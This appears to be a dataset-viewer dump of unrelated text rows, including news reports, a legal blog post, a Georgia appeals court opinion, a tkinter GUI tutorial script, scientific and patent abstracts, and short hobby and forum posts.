text stringlengths 8 5.77M |
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Steve Bannon, ex-estrategista político do presidente dos Estados Unidos, Donald Trump 06/03/2018 REUTERS/Moritz Hager
LONDRES (Reuters) - Steve Bannon, ex-estrategista político do presidente dos Estados Unidos, Donald Trump, e um importante parceiro criaram uma organização política com sede em Bruxelas com o objetivo de enfraquecer e, por fim, paralisar a União Europeia, disseram os dois à Reuters.
Em entrevista e conversas por e-mail, Bannon e Raheem Kassam, ex-assessor chefe do líder britânico anti-UE Nigel Farage que agora trabalha com Bannon, disseram que o grupo, conhecido como O Movimento, já está funcionando e contratando.
“O Movimento será nosso ponto de contato para o movimento populista, nacionalista na Europa. Estamos focando em ajudar indivíduos ou grupos preocupados com questões de soberania, controle de fronteiras, empregos, entre outras coisas”, disse Kassam.
“Decidimos estabelecer a sede em Bruxelas porque é o coração da União Europeia --a força mais destrutiva contra a democracia do Estado-nação no Ocidente hoje.
“A organização já é uma fundação estruturada com um orçamento anual significativo e nós começamos a montar nossa equipe”, disse.
Kassam se recusou a fornecer mais detalhes sobre a fundação.
Bannon, que durante visita a Londres na semana passada se encontrou com Farage e Louis Aliot, aliado próximo da política francesa de extrema-direita Marine Le Pen, descreveu a organização que está criando como um “projeto populista” que tem como objetivo causar uma “mudança de placas tectônicas na Europa”.
(Reportagem adicional de Alastair Macdonald em Bruxelas) |
Alright tried using the forum search with no luck. I know how to change the url header logo through display config. But for the life of me I can't find where to set the background color of the header to transparent in my template files. Plus I am wanting to remove the frame around the header logo too. So where are the individual border code located? I know where the general border setting/code are but that would change them globally which I'm not wanting to do. I have a image here as you can see if you follow the link.. It is my guild logo and as you can see it would look better on a transparent background without the border frame around it. |
A lone shooter armed with a rifle fired on vehicles at random as he drove on highways and major roads in North and Central Austin starting about 2 a.m. Saturday, striking vehicles and wounding four people, Austin police said.
One of the injured is a 7-year-old girl who remains in critical condition at Dell Children’s Medical Center.
Police say they have a suspect in custody and that "there’s no continued danger to the public," but they are not releasing his name. He appeared to be intoxicated, authorities say.
"We do not have a motive for the shootings," said Joseph Chacon, an assistant police chief. "It appears the shootings are random in nature."
The shootings began shortly before 2 a.m. and continued for about an hour on multiple roads, including Interstate 35, U.S. 183 and Lamar Boulevard, among others. Police said it appears the suspect was driving and simultaneously shooting at vehicles on the road.
EYE ON CRIME: Click to receive our Crime and Safety Report by email every Monday
"I’m going to be honest. It’s a little convoluted," Chacon said. "We have a lot of crime scenes. We have several people who were injured in this.
"There are a lot of victims and witnesses that we have to interview and obtain statements from and evidence we have to process. This is going to take days and weeks for us to get through this investigation."
Those injured are a young man who was shot sometime after 2 a.m. near U.S. 183 and North Lamar; and three people in the same vehicle, a 29-year-old man, a 31-year-old woman and the 7-year-old girl, who were riding near Masterson Pass and North Lamar when they were shot around 2:25 a.m.
Other victims reported that the shooter pulled alongside their vehicles and pointed a gun at them but did not fire. One 24-year-old woman said she was near I-35 and 51st Street when the suspect was driving erratically and began to chase her before hitting her vehicle from behind, pulling alongside her and then pointing a weapon at her before driving away.
Shortly after 3 a.m., an officer with the Texas Department of Public Safety found an abandoned black vehicle matching the description provided to police near U.S. 290 and I-35. As the DPS vehicle approached, the officer saw a man "a good distance away" walking away from the vehicle. The officer saw a weapon in the vehicle and notified Austin police. Police searched the area but could not find the suspect and called in the Lone Star Fugitive Task Force.
The Lone Star Fugitive Task Force about 3:45 a.m. found the suspect at a residence that was not his home and took him into custody without incident, Chacon said.
The vehicle is registered to people with whom the suspect is associated, Chacon said.
Chacon said he had no information on the weapon or to whom it was registered, but witnesses described it as a rifle and an assault rifle.
Chacon said the suspect "appeared to be intoxicated on some kind of substance," and that remains part of the investigation.
"We feel like we have the correct person in custody," Chacon said. "This person is the only person involved in this and there’s no continued danger to the public at this time." |
Another trick to try to get mainstream media articles deindexed by Google
I’ve been blogging over the past several months about people using various tactics to try to get Google to “deindex” Web pages — remove them from Google indexes, so that Google users won’t see them in search results. If you send Google a court order finding the material on some pages to be defamatory, Google will consider deindexing those pages, on the theory that the court order is fairly reliable evidence that the pages are indeed inaccurate and libelous. But the consequence is that people have been using various stratagems to deindex material even when there’s little reason for such confidence.
Here’s another twist, which some people have used to try to deindex mainstream news articles (though without any success, to my knowledge, because Google seems skeptical of these particular requests) — they (a) sue the people quoted in the articles, (b) get stipulations from the people recanting their allegations, (c) get court orders based on those recantations and then (d) try to use those court orders to deindex an entire article.
Now, if a media organization gets such a recantation from one of the sources they quote, the editors would reasonably ask: Was the source lying then, or is he lying now? If the editors are persuaded that the recantation is accurate, they might well publish a correction, or revise or even take down the original article. But if they think that the original report was accurate, and the recantation was coerced using a lawsuit, they might stand by their story.
When a plaintiff sues the source, though, gets a stipulation and submits the order to Google with a deindexing request, the plaintiff is trying to short-circuit the news organization’s review of the matter. Instead, the plaintiff wants to just get the original story hidden, with no independent evaluation of whether the story was and continues to be correct.
Consider, for example, Ball v. Saurman. A Ventura County Star article had quoted Sandee Saurman as sharply criticizing J. Kiely Ball’s hearing aid company. Ball sued Saurman, who eventually agreed to a stipulation in which she stated that her original allegations were false. A court then issued an injunction, which was submitted to Google for deindexing of the newspaper article. If the Court of Appeal decision were upheld, Google would have had to deindex the Ventura County Star article even though neither the Star nor Google had an opportunity to independently examine Saurman’s recantation.
Or consider Welter v. Does, an Arizona case filed by Kelly/Warner, a law firm I’ve written about before. Megan Welter made the national news as an Iraq War veteran who became an Arizona Cardinals cheerleader, but then made the news again when she was arrested for allegedly beating her boyfriend, Ryan McMahon. Two years later, Welter filed a defamation lawsuit against McMahon, and McMahon submitted a stipulation saying that his original allegations were false. (It is impossible to tell from the record whether the signer of the stipulation was indeed the real Ryan McMahon, but let us assume that he was.)
Welter then got an injunction stating that McMahon’s allegedly defamatory statements were posted on ABC News, Fox Sports, CBS News and USA Today, presumably because articles on those sites were based on those statements. And the injunction stated that defendant must take all actions, “including requesting removal of the URLs from all internet search engines … to remove all such webpages and cache from the Internet, such that the Content is rendered unsearchable.” Again, because this was a stipulated judgment, there was no factual determination of whether McMahon’s statements were actually defamatory. For a similar example, see Desert Palm Surgical Group v. Petta, which was used to try to deindex a CNN Money article.
As I mentioned, fortunately today Google (and other search engines to which these orders are submitted) can decline to implement such deindexing requests, taking the view that a stipulated judgment based on a source’s recanting (under legal pressure) is no reason to vanish a news story that relied on the source. A California Court of Appeal decision last year (Hassell v. Bird) suggested that Internet companies may have a legal duty to enforce such orders, but the California Supreme Court is reviewing that decision.
[Note that part of this post is based on an item that my students Alex Gianelli, Kristin Halsing and Ashford Kneitel, and I cowrote.]
Eugene Volokh teaches free speech law, religious freedom law, church-state relations law, a First Amendment Amicus Brief Clinic, and an intensive editing workshop at UCLA School of Law, where he has also often taught copyright law, criminal law, tort law, and a seminar on firearms regulation policy. |
'''
May 2017
@author: Burkhard A. Meier
'''
#======================
# imports
#======================
import tkinter as tk
from tkinter import ttk
from tkinter import scrolledtext
from tkinter import Menu
from tkinter import messagebox as msg
from tkinter import Spinbox
from time import sleep
import Ch04_Code.ToolTip as tt
from threading import Thread
from queue import Queue
import Ch06_Code.Queues as bq
from tkinter import filedialog as fd
from os import path, makedirs
# Module level GLOBALS
GLOBAL_CONST = 42
fDir = path.dirname(__file__)
netDir = fDir + '\\Backup'
if not path.exists(netDir):
makedirs(netDir, exist_ok = True)
#=====================================================
class OOP():
def __init__(self): # Initializer method
# Create instance
self.win = tk.Tk()
# Add a title
self.win.title("Python GUI")
# Create a Queue
self.gui_queue = Queue()
self.create_widgets()
self.defaultFileEntries()
def defaultFileEntries(self):
self.fileEntry.delete(0, tk.END)
self.fileEntry.insert(0, fDir)
if len(fDir) > self.entryLen:
self.fileEntry.config(width=len(fDir) + 3)
self.fileEntry.config(state='readonly')
self.netwEntry.delete(0, tk.END)
self.netwEntry.insert(0, netDir)
if len(netDir) > self.entryLen:
self.netwEntry.config(width=len(netDir) + 3)
# Create Queue instance
def use_queues(self, loops=5):
# Now using a class member Queue
while True:
print(self.gui_queue.get())
def method_in_a_thread(self, num_of_loops=10):
for idx in range(num_of_loops):
sleep(1)
self.scrol.insert(tk.INSERT, str(idx) + '\n')
# Running methods in Threads
def create_thread(self, num=1):
self.run_thread = Thread(target=self.method_in_a_thread, args=[num])
self.run_thread.setDaemon(True)
self.run_thread.start()
# start queue in its own thread
write_thread = Thread(target=self.use_queues, args=[num], daemon=True)
write_thread.start()
# Button callback
def click_me(self):
self.action.configure(text='Hello ' + self.name.get())
print(self)
# self.create_thread() # now called from imported module
bq.write_to_scrol(self)
# Spinbox callback
def _spin(self):
value = self.spin.get()
self.scrol.insert(tk.INSERT, value + '\n')
# GUI Callback
def checkCallback(self, *ignored_args):
# only enable one checkbutton
if self.chVarUn.get(): self.check3.configure(state='disabled')
else: self.check3.configure(state='normal')
if self.chVarEn.get(): self.check2.configure(state='disabled')
else: self.check2.configure(state='normal')
# Radiobutton Callback
def radCall(self):
radSel = self.radVar.get()
if radSel == 0: self.mighty2.configure(text='Blue')
elif radSel == 1: self.mighty2.configure(text='Gold')
elif radSel == 2: self.mighty2.configure(text='Red')
# update progressbar in callback loop
def run_progressbar(self):
self.progress_bar["maximum"] = 100
for i in range(101):
sleep(0.05)
self.progress_bar["value"] = i # increment progressbar
self.progress_bar.update() # have to call update() in loop
self.progress_bar["value"] = 0 # reset/clear progressbar
def start_progressbar(self):
self.progress_bar.start()
def stop_progressbar(self):
self.progress_bar.stop()
def progressbar_stop_after(self, wait_ms=1000):
self.win.after(wait_ms, self.progress_bar.stop)
def usingGlobal(self):
global GLOBAL_CONST
GLOBAL_CONST = 777
# Exit GUI cleanly
def _quit(self):
self.win.quit()
self.win.destroy()
exit()
#####################################################################################
def create_widgets(self):
tabControl = ttk.Notebook(self.win) # Create Tab Control
tab1 = ttk.Frame(tabControl) # Create a tab
tabControl.add(tab1, text='Tab 1') # Add the tab
tab2 = ttk.Frame(tabControl) # Add a second tab
tabControl.add(tab2, text='Tab 2') # Make second tab visible
tabControl.pack(expand=1, fill="both") # Pack to make visible
# LabelFrame using tab1 as the parent
mighty = ttk.LabelFrame(tab1, text=' Mighty Python ')
mighty.grid(column=0, row=0, padx=8, pady=4)
# Modify adding a Label using mighty as the parent instead of win
a_label = ttk.Label(mighty, text="Enter a name:")
a_label.grid(column=0, row=0, sticky='W')
# Adding a Textbox Entry widget
self.name = tk.StringVar()
self.name_entered = ttk.Entry(mighty, width=24, textvariable=self.name)
self.name_entered.grid(column=0, row=1, sticky='W')
self.name_entered.delete(0, tk.END)
self.name_entered.insert(0, '< default name >')
# Adding a Button
self.action = ttk.Button(mighty, text="Click Me!", command=self.click_me)
self.action.grid(column=2, row=1)
ttk.Label(mighty, text="Choose a number:").grid(column=1, row=0)
number = tk.StringVar()
self.number_chosen = ttk.Combobox(mighty, width=14, textvariable=number, state='readonly')
self.number_chosen['values'] = (1, 2, 4, 42, 100)
self.number_chosen.grid(column=1, row=1)
self.number_chosen.current(0)
# Adding a Spinbox widget
self.spin = Spinbox(mighty, values=(1, 2, 4, 42, 100), width=5, bd=9, command=self._spin) # using range
self.spin.grid(column=0, row=2, sticky='W') # align left
# Using a scrolled Text control
scrol_w = 40; scrol_h = 10 # increase sizes
self.scrol = scrolledtext.ScrolledText(mighty, width=scrol_w, height=scrol_h, wrap=tk.WORD)
self.scrol.grid(column=0, row=3, sticky='WE', columnspan=3)
for child in mighty.winfo_children(): # add spacing to align widgets within tabs
child.grid_configure(padx=4, pady=2)
#=====================================================================================
# Tab Control 2 ----------------------------------------------------------------------
self.mighty2 = ttk.LabelFrame(tab2, text=' The Snake ')
self.mighty2.grid(column=0, row=0, padx=8, pady=4)
# Creating three checkbuttons
chVarDis = tk.IntVar()
check1 = tk.Checkbutton(self.mighty2, text="Disabled", variable=chVarDis, state='disabled')
check1.select()
check1.grid(column=0, row=0, sticky=tk.W)
chVarUn = tk.IntVar()
check2 = tk.Checkbutton(self.mighty2, text="UnChecked", variable=chVarUn)
check2.deselect()
check2.grid(column=1, row=0, sticky=tk.W)
chVarEn = tk.IntVar()
check3 = tk.Checkbutton(self.mighty2, text="Enabled", variable=chVarEn)
check3.deselect()
check3.grid(column=2, row=0, sticky=tk.W)
# trace the state of the two checkbuttons
chVarUn.trace('w', lambda unused0, unused1, unused2 : self.checkCallback())
chVarEn.trace('w', lambda unused0, unused1, unused2 : self.checkCallback())
# First, we change our Radiobutton global variables into a list
colors = ["Blue", "Gold", "Red"]
# create three Radiobuttons using one variable
self.radVar = tk.IntVar()
# Next we are selecting a non-existing index value for radVar
self.radVar.set(99)
# Now we are creating all three Radiobutton widgets within one loop
for col in range(3):
curRad = tk.Radiobutton(self.mighty2, text=colors[col], variable=self.radVar,
value=col, command=self.radCall)
curRad.grid(column=col, row=1, sticky=tk.W)
# And now adding tooltips
tt.create_ToolTip(curRad, 'This is a Radiobutton control')
# Add a Progressbar to Tab 2
self.progress_bar = ttk.Progressbar(tab2, orient='horizontal', length=342, mode='determinate')
self.progress_bar.grid(column=0, row=3, pady=2)
# Create a container to hold buttons
buttons_frame = ttk.LabelFrame(self.mighty2, text=' ProgressBar ')
buttons_frame.grid(column=0, row=2, sticky='W', columnspan=2)
# Add Buttons for Progressbar commands
ttk.Button(buttons_frame, text=" Run Progressbar ", command=self.run_progressbar).grid(column=0, row=0, sticky='W')
ttk.Button(buttons_frame, text=" Start Progressbar ", command=self.start_progressbar).grid(column=0, row=1, sticky='W')
ttk.Button(buttons_frame, text=" Stop immediately ", command=self.stop_progressbar).grid(column=1, row=0, sticky='W')
ttk.Button(buttons_frame, text=" Stop after second ", command=self.progressbar_stop_after).grid(column=1, row=1, sticky='W')
for child in buttons_frame.winfo_children():
child.grid_configure(padx=2, pady=2)
for child in self.mighty2.winfo_children():
child.grid_configure(padx=8, pady=2)
# Create Manage Files Frame ------------------------------------------------
mngFilesFrame = ttk.LabelFrame(tab2, text=' Manage Files: ')
mngFilesFrame.grid(column=0, row=1, sticky='WE', padx=10, pady=5)
# Button Callback
def getFileName():
print('hello from getFileName')
fDir = path.dirname(__file__)
fName = fd.askopenfilename(parent=self.win, initialdir=fDir)
print(fName)
self.fileEntry.config(state='enabled')
self.fileEntry.delete(0, tk.END)
self.fileEntry.insert(0, fName)
if len(fName) > self.entryLen:
self.fileEntry.config(width=len(fName) + 3)
# Add Widgets to Manage Files Frame
lb = ttk.Button(mngFilesFrame, text="Browse to File...", command=getFileName)
lb.grid(column=0, row=0, sticky=tk.W)
#-----------------------------------------------------
file = tk.StringVar()
self.entryLen = scrol_w - 4
self.fileEntry = ttk.Entry(mngFilesFrame, width=self.entryLen, textvariable=file)
self.fileEntry.grid(column=1, row=0, sticky=tk.W)
#-----------------------------------------------------
logDir = tk.StringVar()
self.netwEntry = ttk.Entry(mngFilesFrame, width=self.entryLen, textvariable=logDir)
self.netwEntry.grid(column=1, row=1, sticky=tk.W)
def copyFile():
import shutil
src = self.fileEntry.get()
file = src.split('/')[-1]
dst = self.netwEntry.get() + '\\'+ file
try:
shutil.copy(src, dst)
msg.showinfo('Copy File to Network', 'Succes: File copied.')
except FileNotFoundError as err:
msg.showerror('Copy File to Network', '*** Failed to copy file! ***\n\n' + str(err))
except Exception as ex:
msg.showerror('Copy File to Network', '*** Failed to copy file! ***\n\n' + str(ex))
cb = ttk.Button(mngFilesFrame, text="Copy File To : ", command=copyFile)
cb.grid(column=0, row=1, sticky=tk.E)
# Add some space around each label
for child in mngFilesFrame.winfo_children():
child.grid_configure(padx=6, pady=6)
# Creating a Menu Bar ==========================================================
menu_bar = Menu(self.win)
self.win.config(menu=menu_bar)
# Add menu items
file_menu = Menu(menu_bar, tearoff=0)
file_menu.add_command(label="New")
file_menu.add_separator()
file_menu.add_command(label="Exit", command=self._quit)
menu_bar.add_cascade(label="File", menu=file_menu)
# Display a Message Box
def _msgBox():
msg.showinfo('Python Message Info Box', 'A Python GUI created using tkinter:\nThe year is 2017.')
# Add another Menu to the Menu Bar and an item
help_menu = Menu(menu_bar, tearoff=0)
help_menu.add_command(label="About", command=_msgBox) # display messagebox when clicked
menu_bar.add_cascade(label="Help", menu=help_menu)
# Change the main windows icon
self.win.iconbitmap('pyc.ico')
# It is not necessary to create a tk.StringVar()
# strData = tk.StringVar()
strData = self.spin.get()
# call function
self.usingGlobal()
# self.name_entered.focus()
# Set focus to Tab 2
tabControl.select(1)
# Add Tooltips -----------------------------------------------------
# Add a Tooltip to the Spinbox
tt.create_ToolTip(self.spin, 'This is a Spinbox control')
# Add Tooltips to more widgets
tt.create_ToolTip(self.name_entered, 'This is an Entry control')
tt.create_ToolTip(self.action, 'This is a Button control')
tt.create_ToolTip(self.scrol, 'This is a ScrolledText control')
#======================
# Start GUI
#======================
oop = OOP()
oop.win.mainloop()
|
Patterns of nasopharyngeal cancer mortality in the United States.
We examined the geographic pattern of nasopharyngeal cancer (NP cancer) mortality in the United States using economic sub-regions (ESRs) as the basis for analysis. The distribution of 15,145 deaths from NP cancer over the years 1950-1979 revealed clustering in the 119 ESRs that was not detected in analyses of distribution by the 48 states, 506 state economic areas or 3,056 counties or combinations of counties of the coterminous United States. NP cancer mortality among white males was concentrated on the south-east Atlantic and Gulf coasts. This newly described pattern is not due to any recent changes in mortality rates and should provide leads to further epidemiologic study. |
Liquid detergents have traditionally been sold in opaque bottles. However, use of clear bottles can be aesthetically appealing to consumers as they can see the consistency of product, and suspended particles if they are present. However, the use of clear bottles can lead to the undesirable loss of enzyme activity (i.e., enzymes present in the liquid compositions) by UV light. By UV light is meant light having wavelength of about 250 to about 460 nanometers (nm). Specifically, UVA generally is in range 320-400 nm, UVB about 290 to 320 nm and UVC below 290 nm, down to about 250 nm.
It has been known in the art that UV absorbers can be added to the bottle material during manufacture of clear bottles to protect them from becoming brittle and to protect the ingredients inside the bottle. For instance, in GB 2228940 the use of a dicarboxylate in polyester bottles to protect contents--mainly food--from 320-360 nm is described.
In EU 0461537A2 the use of film formers for blocking UV radiation from passing through glass bottles is described. While use of such ingredients can block the transmission of UV light through clear bottles, UV absorbers for inclusion in bottle material are expensive, and must be added when bottle material is hot and molten and there is the risk of burning the operator.
WO 97/26315 (to Colgate) discloses transparent containers with specific chromaticity defined by x and y values. Specific dyes are used in the liquid to maintain the container. The reference neither teaches nor suggests transparent liquids with the specific combination of f-dyes and enzyme.
GB 1,303,810 discloses clear liquid medium and visually distinct components suspended in the medium. Detergent compositions containing f-dyes and enzyme capsule are not disclosed.
U.S. Pat. No. 3,812,042 to Verdier discloses clear packages containing liquids with a viscosity and clarity control system comprising urea, lower aliphatic alcohol and optional hydrotrope. |
Merry Christmas!! In My Santa Suit, Christmas Gone Plaid & Vetro 272
This one was alittle time consuming, I used nail vinyls for the strips and nail art brushes. The red is In My Santa Suit (Mariah Carey Christmas) it does take three to four coats at least though but its a perfect Christmas Red. The green is Christmas Gone Plaid (Gwen Stefani Christmas) this is perfect after two coats! The gold is from Vetro 272 Gold Leaf. It really is super thick but it is SOOO pretty the pictures don’t even do it justice. |
It is proposed to complete the currently undergoing studies on the amino acid sequence of the 'sigma' and 'beta' subunits of human pituitary FSH. The amino acid and carbohydrate sequence of biologically active fragments of FSH and LH isolated by controlled enzymatic degradation will also be undertaken. Similar studies will be performed on FSH being isolated from horse pituitary glands. Products of enzymatic and chemical degradation of proteins and carbohydrate moieties are isolated by gel filtration, chromatography and high-voltage electrophoresis. The amino acid sequences of the peptides are established by stepwise degradation by the Edman's procedure, carboxypeptidase A and B digestion. The identification of amino acid is performed by amino acid analysis or by gas liquid chromatography. The elucidation of the primary structure of FSH will aid in the eventual chemical synthesis of the hormone. Receptor for FSH, LH and HCG and prolactin will be indentified and characterized in the ovaries of rat, cow and human at various stages of the reproductive cycle. Using detergents, gel-filtration and affinity chromatography, we propose to isolate gonadotropin receptor from the ovaries. The purified receptor will be characterized in terms of hormone binding, and antigenicity as well as lipid, carbohydrate and amino acid compositions. Hormone-specific antibodies against FSH, LH, TSH and HCG and their subunits will be raised in rabbits and guinea pigs and isolated by rivanol precipitation, immunoabsorption and affinity chromatography. The pure hormones, receptors and radioimmuno and radioreceptor assays will be used in developing in vitro models to study biochemical mechanism of hormone action. BIBLIOGRAPHIC REFERENCES: Rathnam, P., and Saxena, B.B.: "Primary Amino Acid Sequence of Follicle-stimulating Hormone from Human Pituitary Glands.", The Journal of Biological Chemistry, 250, pp6735-6746, 1975. Saito, T. and Saxena, B.B.: "A sensitive, rapid, and economic radioimmunoassay of human growth hormone using ethanol-ammonium acetate", The Journal of Laboratory and Clinical Medicine, 85, pp. 497-504, 1975. |
/**
* @project: Overload
* @author: Overload Tech.
* @licence: MIT
*/
#include "OvUI/Widgets/Texts/Text.h"
OvUI::Widgets::Texts::Text::Text(const std::string & p_content) :
DataWidget(content),
content(p_content)
{
}
void OvUI::Widgets::Texts::Text::_Draw_Impl()
{
ImGui::Text(content.c_str());
}
|
188 Ga. App. 230 (1988)
372 S.E.2d 500
WALK SOFTLY, INC.
v.
HYZER et al.
76753.
Court of Appeals of Georgia.
Decided September 6, 1988.
Carl A. Crowley III, for appellant.
Harmon W. Caldwell, Jr., Wade H. Watson III, for appellees.
DEEN, Presiding Judge.
This appeal is from the grant of summary judgment to appellees Peter C. and Bette J. Hyzer on appellant's claim asserting a labor and materialmen's lien arising from the construction of a home. The Hyzers purchased the property from Signature Homes on April 9, 1986. At the closing of the sale, Mike Shean on behalf of Mike Shean Signature Homes executed a builder's affidavit stating that there were not then "any outstanding bills, either for services, labor or materials ... placed upon said property within the last ninety-five days ...," and that there was then "no person, firm, or corporation, which has a lien, or which is entitled to claim or enforce a lien against said property or the fixtures located thereon, for services performed, labor done, or materials used in the improvement of said property." Shean also executed a seller's affidavit averring that the property was "free and clear of every kind and description of liens ...." Both affidavits contain a proper jurat. On June 11, 1986, appellant Walk Softly, Inc., filed a lien on the property and subsequently sued Signature Homes and its officers, and the Hyzers as present owners of the property, seeking inter alia to foreclose on the lien. The Hyzers' motion for summary judgment on that claim was granted on the ground that the lien was extinguished as to them by operation of OCGA § 44-14-361.2, from which this appeal is brought.
Appellant contends that the trial court erred in concluding as a *231 matter of law that its lien was dissolved under OCGA § 44-14-361.2 by the mere execution and notarization of documents captioned "Builder's Affidavit" and "Seller's Affidavit," when there was evidence that the affiance did not know what he was signing and was not sworn as required by the statute, and there were genuine issues of material fact as to whether the Hyzers were aware of these irregularities. It concedes that the affidavits appear on their faces to be valid, but urges under the authority of Chambers Lumber Co. v. Hagan, 118 Ga. App. 392 (1) (163 SE2d 847) (1968), that its evidence was sufficient in response to the motion for summary judgment to present an issue for jury determination as to whether they constituted legal affidavits. Our study of the amendment to the statute in question and later decisions of this court brings us to the conclusion that the Chambers holding in this respect is inconsistent and therefore must be overruled.
Present OCGA § 44-14-361.2 (a), properly construed, provides that a special lien, such as the materialmen's lien involved here, "shall be dissolved if the owner, purchaser from owner, or lender providing construction or purchase money ... shows that: (1) [t]he lien has been waived in writing by lien claimant; or (2) (A) [t]hey or any of them have obtained the sworn written statement of the contractor or person other than the owner at whose instance the labor, services, of materials were furnished, or the owner when conveying title in a bona fide sale or loan transaction, that the agreed price or reasonable value of the labor, services, or materials have been paid or waived in writing by the lien claimant; and (B) [w]hen the sworn written statement was obtained or given as a part of a transaction; (i) [i]nvolving a conveyance of title in a bona fide sale; (ii) [i]nvolving a loan in which the real estate is to secure repayment of the loan; or (iii) [w]here final disbursement of the contract price is made by the owner to the contractor [and] there was not of record, at the time of the settlement of the transaction[,] a valid preliminary notice or claim of lien which had not been previously cancelled, dissolved, or expired." Ga. L. 1983, p. 1450, § 1; Ga. L. 1984, p. 22, § 44 (Indention omitted.)
Prior Code Ann. § 67-2001 (2) provided for the lien to attach to the property unless its owner could show that the lien had been waived in writing or "produce the sworn statement of the contractor, or other person, at whose instance the work was done or material was furnished ... that the agreed price or reasonable value thereof has been paid ...." (Ga. L. 1897, p. 30; 1899, p. 33; 1953, pp. 582, 583; 1956, pp. 185, 187; 1956, pp. 562, 565.) The trial judge in the instant case expressly determined, having heard oral argument and considered all the evidence before it, "that a notarized affidavit which is valid on its face fulfills the requirements of `sworn written statement' as described in OCGA § 44-14-361.2 (A) (2) (B) ..." The change in *232 approach and language in the two statutes supports this conclusion, that it is the written document rather than the intentions or acts of the affiance in executing it, that operates to extinguish the lien. More recent decisions augment this construction.
In Jackson's Atlanta &c. Co. v. Industrial Tractor &c. Co., 139 Ga. App. 422 (228 SE2d 324) (1976) (cert. den., 139 Ga. App. 883), which was decided under the former statute, there was uncontradicted evidence that the sworn statement of the contractor was signed by its president and by a notary public, but that the notary public did not administer an oath to the president at any time contemporaneously with his execution of the writing. Nevertheless, this court held that "[i]n the absence of any evidence indicating that the owner was aware of the irregularity, or allegations and proof of fraud and/or collusion, the owner is not required to make an independent investigation to determine that the proper procedures were followed in the execution of the affidavit. `When one of two innocent persons must suffer by the act of a third person, he who put it in the power of the third person to inflict the injury shall bear the loss.' [OCGA § 23-1-14]." Id. at 422-423. (Indention omitted.) In this case there was no evidence indicating that the Hyzers knew that Shean was not administered an oath, or that any of the procedures which took place at the closing rendered the affidavits invalid for their intended purpose.
Subsequently, in Lowe's of Ga. v. Merwin, 156 Ga. App. 876 (275 SE2d 812) (1981), the contractor's affidavit was alleged to declare falsely that all liens had been paid, but this court held that in view of the contractor's compliance with the requisites of former Code Ann. § 67-2001 (2), "it was not incumbent upon [the defendant owner] to produce, in addition to the contractor's sworn affidavit, evidence that he (the owner) made full payment to the contractor and that the contractor in turn properly disbursed payment to all valid claims of materialman." Id. at 876-877. In reaching this conclusion the court recognized "that the possibility that a contractor's affidavit may be false works a hardship against one in plaintiff's position, but to hold otherwise would equally effect a hardship against [the owner]...." Id. at 876.
Dixie Concrete Svcs. v. Life Ins. Co. of Ga., 174 Ga. App. 866 (331 SE2d 889) (1985), considered the question of whether the language in a contractor's affidavit sufficiently complied with the provisions of OCGA § 44-14-361.2, and determined: "`(I)nasmuch as our lien laws and procedures are in derogation of the common law, they must be construed strictly against the creditor and in favor of the debtor. [Cit.]' [Cits.] Construing OCGA § 44-14-361.2 (a) (2) (A) in favor of [the owners], we find the general contractor's affidavit in substantial if not complete compliance with the statute and affirm the trial court's grant of summary judgment to appellees."
*233 It can be seen that these later cases weighed the equities of the situation in favor of the good faith purchaser over the lien holder. The issue is not whether the purchaser observed the execution of the affidavit alleged to be irregular, but whether the purchaser was entitled to rely on its validity. The record before us here shows that the documents executed at the closing contained "[a] signed statement of facts, purporting to be the statement of the signer, followed by the certificate of an officer, authorized to administer oaths that it was sworn to and subscribed before him, [which] is a lawful affidavit. [Cits.]" Phoenix Air &c. Co. v. Al-Carol, Inc., 129 Ga. App. 386, 387 (199 SE2d 556) (1973). These decisions thus fully authorized the trial court's determination that the notarized affidavits which were valid on their faces fulfilled the statutory requirements to dissolve appellant's lien, and that the Hyzers were entitled to judgment as a matter of law.
We therefore reject appellant's argument that it could revive its lien by showing that the affidavits were not properly executed. In so doing, we agree with appellees that Chambers Lumber Co. v. Hagan, 118 Ga. App. 392 (1), supra, although not specifically overruled has never been followed in subsequent cases, and thus has been implicitly overruled. Accordingly, we explicitly overrule Chambers in so far as it holds that submission of evidence that no oath was administered to attack an affidavit regular on its face in response to a motion for summary judgment is sufficient to present an issue for the jury as to whether a builder's or seller's affidavit constituted a legal affidavit. See Lear Siegler, Inc. v. Stegall, 184 Ga. App. 27 (360 SE2d 619) (1987). The correct rule is that an affidavit regular on its face, but challenged on the ground it was not properly sworn to or notarized, is as a matter of law sufficient if there is an "absence of any evidence indicating that the owner was aware of the irregularity, or allegations and proof of fraud and/or collusion ...." Jackson's Atlanta &c. Co. v. Industrial Tractor &c. Co., supra at 422.
Judgment affirmed. Birdsong, C. J., McMurray, P. J., Banke, P. J., Carley, Sognier, Pope, Benham and Beasley, JJ., concur.
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Form and document creation
Form and Document Creation is one of the things that technical communicators do as part of creating deliverables for their companies or clients. Document design is: "the field of theory and practice aimed at creating comprehensible, persuasive and usable functional documents". These forms and documents can have many different purposes such as collecting or providing information.
Visualization and Visual Communication
Significance
Eva Brumberger, an instructor in the professional writing program at Virginia Tech, surveyed professional writers about the nature of their work in order to evaluate what student writers are taught before entering the work force. These professional writers confirmed that their role has developed past the verbal communication dominant in the literature presented to students and has developed into mostly visual communication.
Definition
Technical communicators must take data and convert it into information; this process is known as visualization, or visual communication. Because of the widespread use of digital media, modern technical communicators must also now think about visualization as it relates to digital forms and documents. Stuart K. Card, Jock D. Mackinlay, and Ben Shneiderman, editors of the book Readings in Information Visualization: Using Vision to Think, define visualization as the: "use of computer-supported, interactive, visual representations of data to amplify cognition". Though many forms and documents will still have a paper copy for distribution, most forms and documents are now utilized online in some fashion; this is why there is such focus on the computer-supported representations for maximal cognition. Brumberger defines visual communication as: "designing print, Web, and multimedia documents…creating visual displays of information/data, generating other visual material…and any other communication tasks which rely on visual language".
Examples
There are many areas where professional writers utilize visualization. It is most useful in the following areas: complex documents, statistical and categorical data, personal services, and histories.
Visual communication responsibilities include: designing visual content, determining when to use visual material, modifying existing material, and applying templates that already exist to material.
Visual communication tasks include designing: presentations, print documents, page layouts, images, and data displays.
Human-Centered Design
Human-centered design focuses on ensuring that the audience will comprehend the information being presented. It is: "how a frustrated and confused subject...comprehends a critical message in a crowded and noisy environment". The goal of human-centered design is "to make information accessible" and "to give form to data".
Luke Wroblewski, senior director of Project Ideation and Design at Yahoo! Inc., and author of Web Form Design: Filling in the Blanks, also has some human-centered design ideas for web forms and documents. He says: "because people want what’s on the other side of a web form, their general tendency is to jump right in, start answering questions and hope to get it done quickly". As a result, he recommends designing a clear path to completion for the form or document. He also mentions messaging without proper priority, like hard-to-find error messages, and unconnected primary actions that can similarly cloud the steps people need to take in order to get through a form. For a web form to have human-centered design, information must be structured "in a logical pattern from start to finish".
